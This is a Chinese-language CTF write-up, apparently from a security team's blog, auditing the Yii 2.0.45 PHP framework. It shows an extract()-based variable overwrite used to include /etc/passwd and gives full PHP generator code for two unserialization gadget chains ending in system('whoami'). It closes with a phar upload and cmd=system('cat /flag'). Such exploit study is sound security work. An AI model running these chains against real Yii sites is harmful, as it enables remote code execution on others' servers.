概述

简单说下Yii 是一个高性能PHP的web 应用程序开发框架。通过一个简单的命令行工具 yiic 可以快速创建一个 web 应用程序的代码框架,开发者可以在生成的代码框架基础上添加业务逻辑,以快速完成应用程序的开发。小伙伴ctf比赛时,遇见了这个框架,把题型发来,既然是代码审计,这个附件应该就是源码,把这个下载下来,看看里面有啥吧。下面附两张图:
接下来就聊聊这个框架存在的漏洞有哪些,稍稍做个总结。

文件包含

当小白看到文件上传的功能时,而且没有限制文件类型的逻辑,便想到了这个框架可能存在文件包含的漏洞,因为上传的路径是/tmp的路径,不在web目录下。如果想利用必须要通过文件包含、或者目录穿越的漏洞。从过源代码的分析,文件目录是这么定义的。
if
 (
Yii
::
$app
->request->isPost) {

$model
->file = 
UploadedFile
::
getInstance
(
$model
'file'
);


if
 (
$model
->file && 
$model
->
validate
()) {

$path
 = 
'/tmp/'
 . 
$model
->file->baseName . 
'.'
 . 
$model
->file->extension;

$model
->file->
saveAs
(
$path
);

return$path
;

    }
else
{

returnjson_encode
(
$model
->errors);

    }

}
当baseName和extension不能通过改变请求包控制时,所以文件穿越不存在,只能文件包含了,随百度之。在源代码里有这么一段代码:
publicfunctionrenderPhpFile
(
$_file_
$_params_
 = [])

{

$_obInitialLevel_
 = 
ob_get_level
();

ob_start
();

ob_implicit_flush
(
false
);

extract
(
$_params_
, EXTR_OVERWRITE);

try
 {

require$_file_
;
extract是将数组解析成变量的一个函数,通过构建_file_的变量值,来包含tmp下的文件,这是小白当时做题时的思路。构建方式是在控制器里有一个接受外界参数的变量,如下所示data
publicfunctionactionIndex
()

{

$data
 = [[
'a'
=>
'b'
],
'_file_'
=>
'/etc/passwd'
,
'name'
=>
'14yn3'
];

return$this
->
render
(
'index'
,
$data
);

}
访问后的结果如下:
证明确实存在,小白按照代码的规则进行项目的整体查阅,只找到类似这种结构的代码段
$model
->password = 
''
;

return$this
->
render
(
'login'
, [

'model'
 => 
$model
,

]);
这种model的参数,构建不出来file变量名,而且这是一个对象的形式。后来想破坏对象的结构,构建数组,花费一个多小时无果,寻找另外个入口。至此证明yii存在变量覆盖,文件包含的漏洞。

gii 出场【phar反序列化】

当所有代码段都不满足构建条件的时候,便有了这个gii哥们的想法,它是一个自动给开发者构建模块、数据、控制器简单逻辑的工具,或者说脚手架,验证开启方式:全局搜索gii.
访问方式:r=gii,如下图所示:
然后构建我们自己的控制器,点击控制器生成下的start。在表单里随便填下控制器名称,点击预览,
生的的代码如下:
看到并没有把render的第二个参数给传递过去,至此文件包含的思路彻底放弃。既然都聊到这了,那就索性看这个gii有什么漏洞,谷歌百度一下,

yii反序列化【payload是自己构建、不同于找已存在漏洞】

查一下现在系统的版本号:2.0.45 This is Yii version 2.0.45.

链一

vendor/yiisoft/yii2/db/BatchQueryResult.php


php

public function __destruct()

{

    // make sure cursor is closed

    $this->reset();

}


public function reset()

{

    if ($this->_dataReader !== null) {

        $this->_dataReader->close();

    }

    $this->_dataReader = null;

    $this->_batch = null;

    $this->_value = null;

    $this->_key = null;

    $this->trigger(self::EVENT_RESET);

}
所以这个$this->_dataReader是可控的,那么close方法,这里就有两个思路,第一个是存在close方法,寻找利用点,第二个不存在,调用call方法的利用点,先看第二个的思路,找call方法,vendor/fakerphp/faker/src/Faker/Generator.php。
publicfunction__call
(
$method
$attributes
)

{

return$this
->
format
(
$method
$attributes
);

}


publicfunctionformat
(
$format
$arguments
 = [])

{

returncall_user_func_array
(
$this
->
getFormatter
(
$format
), 
$arguments
);

}


publicfunctiongetFormatter
(
$format
)

{

if
 (
isset
(
$this
->formatters[
$format
])) {

return$this
->formatters[
$format
];

    }
这个类的$this->formatters也是可控的。当调用close的方法,便调用了call方法,此时close的方法名,便作为call的第一个参数被传递进来,也就是method是close。
此时构建payload【payload输出有特殊字符,需要在console的控制台复制】
namespaceyii
\
db
{

classBatchQueryResult
{

private
 $
_dataReader
;

publicfunction__construct
(
$_dataReader
) {

$this
->_dataReader = 
$_dataReader
;

        }

    }

}

namespaceFaker
{

classGenerator
{

protected
 $
formatters
 = [];

publicfunction__construct
(
$formatters
) {

$this
->formatters = 
$formatters
;

        }

    }

}

namespace
 {

    $
a
 = 
newFaker
\
Generator
(
array
('
close
'=>'
phpinfo
'));

$b
 = 
new
 yii\db\
BatchQueryResult
(
$a
);

print
(
serialize
(
$b
));

}
此时的payload在这个ctf给定的压缩代码里是不能执行的。因为这个版本大于2.0.37。到这里找一下为什么不能执行,查阅文档得知。这两个类都实现了wakeup的方法,

//BatchQueryResult.php【只要序列化这个类,就报错】
publicfunction__wakeup
()

{

thrownew\BadMethodCallException
(
'Cannot unserialize '
 . 
__CLASS__
);

}


//Generator.php【只要序列化这个类,formatters的内容就置空】
publicfunction__wakeup
()

{

$this
->formatters = [];

}
当注释掉这两个方法的时候,就可以实现返回值了。注意目前调用的函数没有传递参数,只能掉phpinfo这类的函数,输出是字符串类型的。结果如下:
补充:正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

链二

研究完了call的方法,现在看看close的方法。当全局搜索close方法的时候,找到vendor\yiisoft\yii2\web\DbSession.php。

publicfunctionclose
()

{

if
 (
$this
->
getIsActive
()) {

// prepare writeCallback fields before session closes
$this
->fields = 
$this
->
composeFields
();

        YII_DEBUG ? 
session_write_close
() : @
session_write_close
();

    }

}


/**

 * 
@return
 bool whether the session has started

 * 开启dug,在这个版本下,此函数验证为true,小于2.0.38不需要开启debug

 */

publicfunctiongetIsActive
()

{

returnsession_status
() === PHP_SESSION_ACTIVE;

}


protectedfunctioncomposeFields
(
$id
 = 
null
$data
 = 
null
)

{

$fields
 = 
$this
->writeCallback ? 
call_user_func
(
$this
->writeCallback, 
$this
) : [];

if
 (
$id
 !== 
null
) {

$fields
[
'id'
] = 
$id
;

    }

if
 (
$data
 !== 
null
) {

$fields
[
'data'
] = 
$data
;

    }

return$fields
;

}
call_user_func方法如果$this->writeCallback为字符串,就是方法名,如果是数组,就是类名和方法。所以为了解决给方法传递参数的缺陷,这里再去调用另一个类的方法,这个方法可以是可以传递参数进去的。使用链一的方法备注正则搜索。调用的文件代码如下:
//vendor/yiisoft/yii2/rest/CreateAction.php
publicfunctionrun
()

{

if
 (
$this
->checkAccess) {

call_user_func
(
$this
->checkAccess, 
$this
->id);

    }

//$this->checkAccess和$this->id都是我们可控的
构建payload
namespaceyii
\
db
{

classBatchQueryResult
{

private
 $
_dataReader
;

publicfunction__construct
(
$_dataReader
) {

$this
->_dataReader = 
$_dataReader
;

        }

    }

}

namespaceFaker
{

classGenerator
{

protected
 $
formatters
 = [];

publicfunction__construct
(
$formatters
) {

$this
->formatters = 
$formatters
;

        }

    }

}


namespaceyii
\
rest
{

classCreateAction
{

public
 $
checkAccess
;

public$id
;

publicfunction__construct
(
$checkAccess
,
$id
){

$this
->checkAccess = 
$checkAccess
;

$this
->id = 
$id
;

        }

    }

}


namespaceyii
\
web
{

classDbSession
{

public
 $
writeCallback
;

publicfunction__construct
(
$writeCallback
) {

$this
->writeCallback = 
$writeCallback
;

        }

    }

}


namespace
 {

//    $
a
 = 
newFaker
\
Generator
(
array
('
close
'=>'
phpinfo
'));

//    $b = new yii\db\BatchQueryResult($a);
//    print(serialize($b));
$c
 = 
new
 yii\rest\
CreateAction
(
'system'
,
'whoami'
);

$b
 = 
new
 yii\web\
DbSession
(
array
(
$c
'run'
));

$a
 = 
new
 yii\db\
BatchQueryResult
(
$b
);

print
(
serialize
(
$a
));

}

跳转gii

通过前台上传功能,上传
这个文件,然后返回上传路径:
gii控制器生成页抓取数据包
在后面增加cmd=system('cat /flag'),因为在phar.jpg中有这个一个执行代码
即可拿到flag。
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
继续阅读
阅读原文